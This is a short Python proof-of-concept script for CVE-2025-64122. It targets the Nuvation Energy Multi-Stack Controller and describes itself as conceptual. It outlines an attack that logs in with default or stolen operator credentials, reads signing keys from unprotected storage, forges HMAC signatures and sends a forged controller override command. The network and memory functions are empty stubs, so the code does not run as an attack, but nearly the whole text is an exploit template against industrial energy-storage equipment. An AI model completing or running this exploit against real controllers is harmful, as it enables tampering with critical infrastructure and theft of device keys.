CVE-2025-64122

# CVE-2025-64122 PoC - Key Extraction and Signature Spoofing # Target: Nuvation Energy Multi-Stack Controller (MSC) <= 2.5.1 # Attack Vector: Local access required # Note: This is a conceptual PoC based on the vulnerability description import hashlib import hmac import struct def extract_keys_from_msc(target_ip, local_access_creds): """ Simulate key extraction from MSC device Requires local access to the controller """ # Step 1: Authenticate with local credentials session = authenticate_locally(target_ip, local_access_creds) # Step 2: Access key storage (unprotected credential storage) key_blob = read_unprotected_memory(session, address=0x1000) # Step 3: Extract signing keys signing_key = key_blob[:32] verification_key = key_blob[32:64] return signing_key, verification_key def forge_signature(signing_key, message): """ Forge a valid signature using extracted key """ return hmac.new(signing_key, message, hashlib.sha256).digest() def exploit_cve_2025_64122(target_ip, attacker_key_path=None): """ Main exploitation function for CVE-2025-64122 """ local_creds = { 'username': 'operator', 'password': 'default_or_stolen_password' } # Extract keys from vulnerable device signing_key, _ = extract_keys_from_msc(target_ip, local_creds) # Forge malicious command with valid signature malicious_command = b'CONTROLLER_OVERRIDE_CMD' forged_sig = forge_signature(signing_key, malicious_command) # Send forged signed command to MSC send_signed_command(target_ip, malicious_command, forged_sig) return True def authenticate_locally(ip, creds): """Simulate local authentication""" pass def read_unprotected_memory(session, address): """Read unprotected key storage""" pass def send_signed_command(ip, cmd, signature): """Send forged signed command""" pass if __name__ == '__main__': print('CVE-2025-64122 PoC - Nuvation Energy MSC Key Theft') print('Target: Nuvation Energy Multi-Stack Controller <= 2.5.1') print('Note: Requires local access to the target system')

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